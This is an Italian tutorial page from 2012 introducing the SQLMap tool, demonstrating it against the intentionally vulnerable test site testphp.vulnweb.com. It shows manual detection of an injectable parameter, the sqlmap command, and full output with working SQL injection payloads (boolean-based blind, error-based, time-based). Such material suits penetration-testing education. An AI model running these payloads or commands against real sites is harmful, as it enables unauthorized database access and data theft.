sqlmap: usiamolo contro una web app

31 gennaio 2012

Introduzione a SQLMap

SQLMap è un utile strumento a servizio dei penetration tester, usato per la verifica e l’exploitation delle vulnerabilità di tipo SQL Injenction. Il progetto è attivo dal 2006 e ad oggi viene considerato da molti il migliore programma in circolazione di questo genere. I punti di forza sono il potente motore di rilevamento delle vulnerabilità, il pieno supporto a MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase e SAP MaxDB, il supporto di ben 5 differenti tecniche di SQL injection (boolean-based blind, time-based blind, error-based, UNION query e stacked queries), senza considerare la possibilità di integrazione con altri progetti open source (vedi Metasploit, w3af).

Per i nostri esempi ci serviremo come di consueto di BackBox Linux, una distribuzione orientata al penetration testing. Al suo interno si trova preinstallata l’ultima versione stabile di SQLMap. Per scaricare la versione di sviluppo digitare da terminale il seguente comando:

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

Utilizzo SQLMap

Vedremo ora con alcuni esempi pratici, come sia relativamente semplice l’utilizzo di questo programma. Per ragioni editoriali non sarà possibile analizzare completamente tutte le funzionalità, ci concentreremo sulle fondamentali quindi prima di iniziare è consigliato consultare l’help per avere una idea delle potenzialità di questo programma. Da terminale digitare:

sqlmap --help

Figura sqlmap help
(clic per ingrandire)

sqlmap help

I nostri test saranno effettuati su http://testphp.vulnweb.com/ un sito web che ci permetterà di operare in assoluta sicurezza e nel rispetto della legge. Iniziamo navigando tra le pagine del sito per individuare una possibile SQL Injection da sfruttare. L’URL che fa a caso nostro è il seguente:

http://testphp.vulnweb.com/listproducts.php?cat=1

Figura Individuiamo possibili sqlinjection
(clic per ingrandire)

Individuiamo possibili sqlinjection

Si tratta della pagina relativa alle varie “Categorie”, cambiando il campo “ID” è possibile navigare da una sezione all’altra. Per verificare la presenza della SQL Injection, sostituiremo il valore numerico con un semplice apice (‘) ottenendo il classico messaggio di errore di MySQL:

Figura La sqlinjection è stata individuata
(clic per ingrandire)

sqlinjection è stata individuata

Vedremo ora come utilizzare SQLMap per ottenere maggiori informazioni. Da terminale digitare:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"

il programma restituirà in output:

user@backbox:~$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1"
sqlmap/0.9 - automatic SQL injection and database takeover tool 

http://sqlmap.sourceforge.net

[*] starting at: 12:44:23 

[12:44:23] [INFO] using '/home/user/.sqlmap/output/testphp.vulnweb.com/session' as session file 
[12:44:23] [INFO] testing connection to the target url 
[12:44:24] [INFO] testing if the url is stable, wait a few seconds 
[12:44:25] [INFO] url is stable 
[12:44:25] [INFO] testing if GET parameter 'cat' is dynamic 
[12:44:25] [INFO] confirming that GET parameter 'cat' is dynamic 
[12:44:25] [INFO] GET parameter 'cat' is dynamic 
[12:44:26] [INFO] heuristic test shows that GET parameter 'cat' might be injectable (possible DBMS: MySQL) 
[12:44:26] [INFO] testing sql injection on GET parameter 'cat' 
[12:44:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' 
[12:44:27] [INFO] GET parameter 'cat' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[12:44:27] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' 
[12:44:27] [INFO] GET parameter 'cat' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[12:44:27] [INFO] testing 'MySQL > 5.0.11 stacked queries' 
[12:44:27] [INFO] testing 'MySQL > 5.0.11 AND time-based blind' 
[12:45:27] [INFO] GET parameter 'cat' is 'MySQL > 5.0.11 AND time-based blind' injectable 
[12:45:27] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' 
[12:45:30] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' 
GET parameter 'cat' is vulnerable. Do you want to keep testing the others? [y/N] n 
sqlmap identified the following injection points with a total of 29 HTTP(s) requests: 
--- 
Place: GET 
Parameter: cat 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause 
    Payload: cat=1 AND 7178=7178 
 
    Type: error-based 
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause 
    Payload: cat=1 AND (SELECT 8176 FROM(SELECT COUNT(*),CONCAT(CHAR(58,108,109,97,58),(SELECT (CASE WHEN (8176=8176) THEN 1 ELSE 0 END)),CHAR(58,115,114,114,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) 

    Type: AND/OR time-based blind 
    Title: MySQL > 5.0.11 AND time-based blind 
    Payload: cat=1 AND SLEEP(5) 
--- 

[12:46:08] [INFO] the back-end DBMS is MySQL 
web server operating system: Linux Ubuntu 6.10 or 6.06 (Edgy Eft or Dapper Drake) 
web application technology: Apache 2.0.55, PHP 5.1.2 
back-end DBMS: MySQL 5.0 
[12:46:08] [INFO] Fetched data logged to text files under '/home/user/.sqlmap/output/testphp.vulnweb.com' 

[*] shutting down at: 12:46:08

SQLMap impiegherà alcuni minuti per poi individuare una SQL Injection di tipo “boolean-based blind”, “error-based” e “AND/OR time-based blind” specificando anche i relativi Payload. Vengono inoltre fornite informazioni sul sistema operativo, sul tipo di web server e sulla versione del database.

Tutte le lezioni

1 2 3 ... 6

Se vuoi aggiornamenti su sqlmap: usiamolo contro una web app inserisci la tua e-mail nel box qui sotto:
 
X
Se vuoi aggiornamenti su sqlmap: usiamolo contro una web app

inserisci la tua e-mail nel box qui sotto:

Ho letto e acconsento l'informativa sulla privacy

Acconsento al trattamento di cui al punto 3 dell'informativa sulla privacy